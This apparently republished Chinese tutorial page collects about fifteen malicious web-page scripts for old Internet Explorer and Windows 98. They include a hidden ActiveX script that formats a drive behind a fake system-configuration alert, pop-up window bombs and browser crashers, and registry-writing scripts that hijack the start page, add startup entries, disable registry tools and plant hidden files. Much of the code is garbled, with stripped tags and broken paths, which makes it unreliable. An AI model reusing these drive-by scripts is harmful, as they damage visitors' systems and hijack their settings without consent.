Javascript网页恶意代码

2016-02-20 00:41 47 1 收藏

今天图老师小编给大家介绍下Javascript网页恶意代码,平时喜欢Javascript网页恶意代码的朋友赶紧收藏起来吧!记得点赞哦~

【 tulaoshi.com - Web开发 】

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/webkaifa/)

  

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/webkaifa/)

  1、格式化硬盘

object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
/object
script
scr.Reset();
scr.Path="C:windowsMen?inicioProgramasInicioautomat.hta";
scr.Doc="object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B/objectscriptwsh.Run(start /m format a: /q /autotest /u);alert(IMPORTANT : Windows is configuring the system. Plase do not interrupt this process.);/"+"SCRIPT";
scr.write();

  2、使 WINDOWS 98掉线的代码

html
head
/head
a href="wincrash.htm" on mouseclick="alert("Go To Hell,Mall!")"HaHa!/a
/html
  wincrash.htm
HTML
BODY
IMG SRC="c:concon"
!-- or nulnul, clock$clock$ --
!-- or auxaux, config$config$ --
/BODY
/HTML

  3、 IE视窗炸弹或者叫让IE不段循环的代码

HTML
HEAD
TITLEf**k USA/TITLE
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
/HEAD
BODY onload="WindowBomb()"
SCRIPT LANGUAGE="javascript"
function WindowBomb()
{
var iCounter = 0 // dummy counter

while (true)
{
window.open("http://www.webjx.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
/script
/BODY
/HTML

  4、造成IE 5.0崩溃的代码

HTML
BODY
script
var color = new Array;
color[1] = "black";
color[2] = "white";
for(x = 0; x 3; x++)
{
document.bgColor = color[x]
if(x == 2)
{
x = 0;
}
}
/SCRIPT
/BODY
/HTML

  5、进入WINDOWS 之前弹出来的对话框代码 到注册表找到 LegalNoticeCaption , LegalNoticeText 删除

SCRIPT language=java scriptdocument.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionWinLogonLegalNoticeCaption", "这里是标题栏 网页教学网 ");
Shl.RegWrite ("HKLMSoftwareMicrosoftWindowsCurrentVersionWinLogonLegalNoticeCaption", "这里是标题栏 网页教学网 ");
Shl.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionWinLogonLegalNoticeText", "请多留意本站的文章 ");
Shl.RegWrite ("HKLMSoftwareMicrosoftWindowsCurrentVersionWinLogonLegalNoticeText", "请多留意本站的文章 ");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();/SCRIPT

  6、造成 WINDOWS98 不能关机的代码。 到注册表找到 FastReboot 删除就OK

SCRIPT language=java scriptdocument.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLMSystemCurrentControlSetControlShutdownFastReboot", "1");
Shl.RegWrite ("HKCUSystemCurrentControlSetControlShutdownFastReboot", "1");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();/SCRIPT

  7、让电脑自动启动程序的代码 。 修改方法 找到相应键值删除

SCRIPT language=java scriptdocument.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");

function f(){
try
{
文件://ActiveX/ initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionRun", "http://i50.yjpc.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();/SCRIPT

  8、自动设成主页代码

SCRIPT language=java scriptdocument.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://i50.126.com/");
Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerMainStart Page", "http://i50.126.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();/SCRIPT

  9、修改IE标题栏目。 修改方法 将以下代码中可以换的换成你想换的

SCRIPT language=java scriptdocument.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "( WWW。WEBJX.COM )( 网页教学网恶意代码请勿试用 )( WWW。WEBJX.COM)");
Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerMainWindow Title", "( WWW。WEBJX.COM )( 网页教学网恶意代码请勿试用 )( WWW。WEBJX.COM)");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();/SCRIPT

  10、在右键加进网页链接 。修改方法:到注册表找到 MenuExt 把它删除就OK

SCRIPT language=java scriptdocument.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMenuExt网页教学网", "c:yntop.htm");
sh.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMenuExt网页教学网", 0xf3,"REG_DWORD");
hd=fo.CreateTextFile("c:yntop.htm");
hd.write(htmlhead/headscript language=java scriptwindow.open("http://www.webjx.com");/script/html);
hd.close();
file=fo.GetFile("c:yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}

function init()
{
setTimeout("f()", 1000);
}
init();/SCRIPT

  11、IE 的 INTERNET 选项的主页条失去作用变灰的代码。 修改方法,找到 HomePage 删除就OK

SCRIPT language=java scriptdocument.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl PanelHomePage", 1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write();
hd.close();
file=fo.GetFile("c:yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="webjx set=webjx; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}

function init()
{
setTimeout("f()", 1000);
}
init();/SCRIPT

  12、回收站给改了名字的修改方法:打开注册表找到 {645FF040-5081-101B-9F08-00AA002F954E} 修改就 OK

修改回收站的代码

SCRIPT language=java script
document.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCUSoftwareCLASSESCLSID{645FF040-5081-101B-9F08-00AA002F954E}", "回收站");
Shl.RegWrite ("HKLMSoftwareCLASSESCLSID{645FF040-5081-101B-9F08-00AA002F954E}", "回收站");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();/SCRIPT

  13、注册表给锁住了,锁注册表的代码。

SCRIPT language=java scriptdocument.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools", 1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write();
hd.close();
file=fo.GetFile("c:yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="webjxset=webjx; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}

function init()
{
setTimeout("f()", 1000);
}
init();/SCRIPT

  14、在收藏夹生成文件的代码,将以下代码加进网页后,只要别人一打开就可以自动加进收藏夹

SCRIPT language=java scriptdocument.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET");function yuzi(){try{hzy=document.applets[0];hzy.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");hzy.createInstance();yuzi=hzy.GetObject();hzy.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");hzy.createInstance();try{Shor=yuzi.CreateShortcut(hzy.GetObject().GetSpecialFolder(0)+"Favorites"+""+""+".URL");Shor.TargetPath="http://www.webjx.com";Shor.Save();}catch(yu){]catch(yu){]setTimeout("yuzi()",1000);/SCRIPT

  15、在桌面生成的网页文件

以下代码就是在桌面上生成一份网页的文件,一按打开的就是你的网页

SCRIPT language=java script
document.write("APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent/APPLET")

function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}

function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try{
//if (documents .cookie.indexOf("ChgLive") == -1)
//{

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "Internet Explorer");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "Favorites";
if(!FSO.FolderExists(loc)) {
loc = FSO.GetDriveName(WF) + "Documents and Settings" + Net.UserName + "Favorites";
if(!FSO.FolderExists(loc)) {
return;
}
}
AddFavLnk("C:WINDOWSDesktop", "网页教学网", "http://www.webjx.com");
/

来源:https://www.tulaoshi.com/n/20160220/1632381.html

延伸阅读
标签: Web开发
事件源对象 event.srcElement.tagName event.srcElement.type 捕获释放 event.srcElement.setCapture();  event.srcElement.releaseCapture(); 事件按键 event.keyCode event.shiftKey event.altKey event.ctrlKey 事件返回值 event.returnValue 鼠标位置 event.x event.y 窗体活动元素 document.activeElement...
标签: Web开发
本节稍稍深入地讨论关于事件处理的话题,如果你对模式、闭包和面向对象等概念还不太理解,不妨暂且等阅读完相关内容之后再回过头来阅读它,相信你会有很大收获。 1 事件处理模式        在程序设计领域,“事件处理”是一种模式,当一个对象受外部影响而改变状态时,通过消息的方式将这个状态改变...
标签: Web开发
JavaScript基本数据结构 JavaScript提供脚本语言的编程与C++非常相似,它只是去掉了C语言中有关指针等容易产生的错误,并提供了功能强大的类库。对于已经具备C++或C语言的人来说,学习JavaScript脚本语言是一件非常轻松愉快的事。 一、JavaScript代码的加入 JavaScript的脚本包括在HTML中,它成为HTML文档的一部分。与HTML标识...
标签: Web开发
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" html head meta http-equiv="Content-Type" content="text/html; charset=utf-8" / titleJavaScript版代码高亮/title link href="style.css" rel="stylesheet" type="text/css" / /head body div class="menu_head"JavaScript版代码高亮显示/div div class="content" script l...
标签: Web开发
JavaScript提供脚本语言的编程与C++非常相似,它只是去掉了C语言中有关指针等容易产生的错误,并提供了功能强大的类库。对于已经具备C++或C语言的人来说,学习JavaScript脚本语言是一件非常轻松愉快的事。我们可以通过一个例子,编写第一个JavaScript程序。通过它可说明JavaScript的脚本是怎样被嵌入到HTML文档中的。JavaScript的脚本包...

经验教程

201

收藏

44
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部